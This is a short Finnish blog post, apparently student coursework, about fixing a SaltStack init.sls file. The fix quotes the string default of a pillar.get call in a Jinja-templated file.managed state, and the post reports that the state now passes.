Konsultoin Jaakko Veijosta, http://veijonen.com, joka huomautti init.sls tiedostoni sisällöstä: oletusarvo lintu tulisi myös laittaa hipsuihin, eli ’lintu’. Jätin alunperin hipsut laittamatta, koska seurasin viimetunnilla käytyjä esimerkkejä, joissa ssh:n porttia vaihdettaessa oletusarvo 22 kirjoitettiin ilman hipsuja. Arvelen, että hipsuja ei tarvita mikäli oletusarvo on numero, sen ollessa string, hipsut tarvitaan.

Korjattu init.sls näyttää siis tältä:

/tmp/pillartest.txt:
  file.managed:
    - source: salt://pillartest/pillartest.txt
    - template: jinja
    - context:
      sana: {{ pillar.get(’sana’, ’lintu’) }}

Korjattuna tila menee läpi, ja näyttää seuraavalta:

Tehtävä c) on siis suoritettu.

Posted in Uncategorised | Leave a comment